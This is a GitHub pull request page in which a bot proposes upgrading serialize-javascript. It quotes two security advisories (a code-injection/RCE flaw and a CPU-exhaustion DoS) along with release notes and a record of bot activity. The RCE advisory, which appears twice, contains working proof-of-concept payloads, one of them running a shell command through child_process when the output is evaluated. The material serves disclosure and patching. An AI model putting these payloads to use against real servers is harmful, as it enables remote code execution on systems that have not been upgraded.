fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security] by renovate-sh-app[bot] · Pull Request #7351 · grafana/agent

renovate-sh-app · 2026-06-03T09:15:08Z

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	`^6.0.2` → `^7.0.0`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v

More information

Details

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function.
Ensuring the environment is protected against Prototype Pollution.
Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v

More information

Details

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function.
Ensuring the environment is protected against Prototype Pollution.
Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

yahoo/serialize-javascript (serialize-javascript)

`v7.0.5`

Compare Source

Fixes

Improve robustness and validation for array-like object serialization.
Fix an issue where certain object structures could lead to excessive CPU usage.

For more details, please see GHSA-qj8w-gfj5-8c6v.

`v7.0.4`

Compare Source

What's Changed

release: v7.0.4 by @okuryu in #211

Full Changelog: yahoo/serialize-javascript@v7.0.3...v7.0.4

`v7.0.3`

Compare Source

fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#207) 2e609d0
build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#206) 42b7cdb

`v7.0.2`

Compare Source

What's Changed

ci: bump GitHub Actions to latest versions by @okuryu in #203
ci: setup trusted publishing workflow by @okuryu in #204
release: v7.0.2 by @okuryu in #205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

`v7.0.1`

Compare Source

What's Changed

Add warning about using this package to send arbitrary data to worker threads by @valadaptive in #200
security: sanitize function bodies by @redonkulus in #199
docs: tweak README by @okuryu in #201
release: v7.0.1 by @okuryu in #202

New Contributors

@redonkulus made their first contribution in #199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

`v7.0.0`

Compare Source

Breaking Changes

requires Node.js v20+

What's Changed

Bump mocha from 10.2.0 to 10.4.0 by @dependabot[bot] in #178
Bump mocha from 10.4.0 to 10.5.2 by @dependabot[bot] in #183
Bump nyc from 15.1.0 to 17.0.0 by @dependabot[bot] in #184
Bump braces from 3.0.2 to 3.0.3 by @dependabot[bot] in #181
Bump mocha from 10.5.2 to 10.7.0 by @dependabot[bot] in #185
Bump mocha from 10.7.0 to 10.7.3 by @dependabot[bot] in #186
Bump nyc from 17.0.0 to 17.1.0 by @dependabot[bot] in #187
Bump mocha from 10.7.3 to 10.8.2 by @dependabot[bot] in #188
feat: test on Node.js 22 and built-in test runner by @okuryu in #192
Generate UID without randombytes dependency by @valadaptive in #196
release: v7.0.0 by @okuryu in #197

New Contributors

@valadaptive made their first contribution in #196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

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…cript to v7 [security] | datasource | package | from | to | | ---------- | -------------------- | ----- | ----- | | npm | serialize-javascript | 6.0.2 | 7.0.5 | Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>

renovate-sh-app Bot added automerge-security-update security-needs-review severity:HIGH update-major labels Jun 3, 2026

renovate-sh-app Bot changed the title ~~fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security]~~ fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security] - autoclosed Jun 3, 2026

renovate-sh-app Bot closed this Jun 3, 2026

renovate-sh-app Bot deleted the renovate/major-security-internalwebui-serialize-javascript branch June 3, 2026 15:18

renovate-sh-app Bot changed the title ~~fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security] - autoclosed~~ fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security] Jun 4, 2026

renovate-sh-app Bot reopened this Jun 4, 2026

renovate-sh-app Bot force-pushed the renovate/major-security-internalwebui-serialize-javascript branch 2 times, most recently from a3d6602 to cbf671e Compare June 4, 2026 15:34

renovate-sh-app Bot changed the title ~~fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security]~~ fix(security/high/internal/web/ui): update security internal/web/ui serialize-javascript to v7 [security] Jun 10, 2026

renovate-sh-app Bot changed the title ~~fix(security/high/internal/web/ui): update security internal/web/ui serialize-javascript to v7 [security]~~ fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security] Jun 29, 2026

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fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security]#7351

fix(security/high/internal/web/ui): update dependency serialize-javascript to v7 [security]#7351
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Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Details

Impact

Patches

Severity

References

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

Details

Impact

Patches

Workarounds

Acknowledgements

Severity

References

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Details

Impact

Patches

Severity

References

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

Details

Impact

Patches

Workarounds

Acknowledgements

Severity

References

Release Notes

v7.0.5

Fixes

v7.0.4

What's Changed

v7.0.3

v7.0.2

What's Changed

v7.0.1

What's Changed

New Contributors

v7.0.0

Breaking Changes

What's Changed

New Contributors

Configuration

Need help?

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Labels

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renovate-sh-app Bot commented Jun 3, 2026 •

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`v7.0.5`

`v7.0.4`

`v7.0.3`

`v7.0.2`

`v7.0.1`

`v7.0.0`